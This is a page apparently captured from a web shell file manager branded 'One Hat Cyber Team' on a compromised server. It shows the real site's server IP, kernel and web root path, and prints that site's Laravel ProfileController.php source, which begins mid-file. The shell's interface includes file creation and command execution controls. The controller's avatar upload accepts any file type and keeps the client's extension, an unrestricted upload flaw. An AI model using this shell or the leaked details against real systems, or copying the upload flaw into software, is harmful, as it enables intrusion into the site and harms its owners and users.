⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.142
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
ppt.com.ng
/
app
/
Http
/
Controllers
/
View File Name :
ProfileController.php
user()->hasPermission('CREATE', env('SUPER_ADMIN_ROUTE').'_'.\Session::get('current_permission'))) return response()->json(['Errors' => ['Error' => 'Unauthorized Action']],422); $user = Auth::user(); $countries = Country::where('status','Active')->get(); if(isset($user['country'])){ $states = $user['country']->states()->where('status','Active')->get(); }else{ $states = isset($countries[0])?$countries[0]->states()->where('status','Active')->get():[]; } if(isset($user['state'])){ $cities = $user['state']->cities()->where('status','Active')->get(); }else { $cities = isset($states[0]) ? $states[0]->cities()->where('status', 'Active')->get() : []; } return view('dashboard.profile',[ 'page' =>[ 'type' => 'dashboard' ], 'user' => $user, 'countries' => $countries, 'states' => $states, 'cities' => $cities, 'user_route' => \Session::get('user_route'), ]); } public function adminProfile(){ if (!auth()->user()->hasPermission('CREATE', env('ADMIN_ROUTE').'_'.\Session::get('current_permission'))) return response()->json(['Errors' => ['Error' => 'Unauthorized Action']],422); $user = Auth::user(); return view('dashboard.profile-admin',[ 'page' =>[ 'type' => 'dashboard' ], 'user' => $user, 'user_route' => \Session::get('user_route'), ]); } public function uploadProfileImage(Request $request){ $request->validate([ 'avatar' => 'required|file' ]); $user = Auth::user(); $user['image'] = Str::random(32).'.'.\File::extension($request['avatar']->getClientOriginalName()); $request['avatar']->storeAs("public",$user['image']); $user['image'] = '/storage/'.$user['image']; $filename = Str::random(32).'.'.\File::extension($request['avatar']->getClientOriginalName()); $path = $request['avatar']->storeAs('files', $filename, 's3'); $user['image'] = $path; $user->save(); return response()->json([ 'status' => 'success', 'message' => 'Upload Success. Reloading Page', 'location' => '/'.\Session::get('user_route').'/profile' ]); } public function saveAdminProfile(Request $request){ if (!auth()->user()->hasPermission('CREATE', env('ADMIN_ROUTE').'_'.\Session::get('current_permission'))) return response()->json(['Errors' => ['Error' => 'Unauthorized Action']],422); $user = Auth::user(); $roleName = $user['user_role']['name']; $name = $user['name'] ?? ('User id[' . $user['id']. ']'); if (isset($request['password']) && $request['password'] != ''){ $request->validate([ 'password' => 'required_with:confirm_password|same:confirm_password' ]); $user['password'] = Hash::make($request['password']); NotificationTrait::createActivity( $user['id'], $name . ' ('. $roleName .') has updated password for email (' . $user['email'] . ') at ' . $request->url(), 'PASSWORD', $roleName, NotificationTrait::getUserIp() ); } $user->save(); $showToAdmin = $user['user_role']['name'] == 'ADMIN'; return response()->json(['message' => 'Profile Saved.','location' => '/'.\Session::get('user_route').'/profile']); } public function save(Request $request){ if (!auth()->user()->hasPermission('CREATE', env('SUPER_ADMIN_ROUTE').'_'.\Session::get('current_permission'))) return response()->json(['Errors' => ['Error' => 'Unauthorized Action']],422); $user = Auth::user(); $roleName = $user['user_role']['name']; $name = $user['name'] ?? ('User id[' . $user['id']. ']'); $request->validate([ 'name' => 'required', 'email' => 'required' ]); if (isset($request['password']) && $request['password'] != ''){ $request->validate([ 'password' => 'required_with:confirm_password|same:confirm_password' ]); $user['password'] = Hash::make($request['password']); NotificationTrait::createActivity( $user['id'], $name . ' ('. $roleName .') has updated password for email (' . $user['email'] . ') at ' . $request->url(), 'PASSWORD', $roleName, NotificationTrait::getUserIp() ); } $user['name'] = $request['name']; $user['email'] = $request['email']; $user['address_line_1'] = $request['address_line_1']; $user['address_line_2'] = $request['address_line_2']; $user['city_id'] = $request['city']; $user['state_id'] = $request['state']; $user['country_id'] = $request['country']; $user['timezone_id'] = $request['timezone']; $user['phone'] = $request['phone']; $user['postal_code'] = $request['postal_code']; $user->save(); $showToAdmin = $user['user_role']['name'] == 'ADMIN'; NotificationTrait::createActivity( $user['id'], $name . ' ('. $roleName .') has updated profile for email (' . $user['email'] . ') at ' . $request->url(), 'PROFILE', $roleName, $showToAdmin, NotificationTrait::getUserIp() ); return response()->json(['message' => 'Profile Saved.','location' => '/'.\Session::get('user_route').'/profile']); } public function removeProfileImage(Request $request){ $user = Auth::user(); $user['image'] = '/assets/img/avatars/default.png'; $user->save(); return response()->json([ 'message' => 'Image Removed.', 'location' => '/'.\Session::get('user_route').'/profile' ]); } }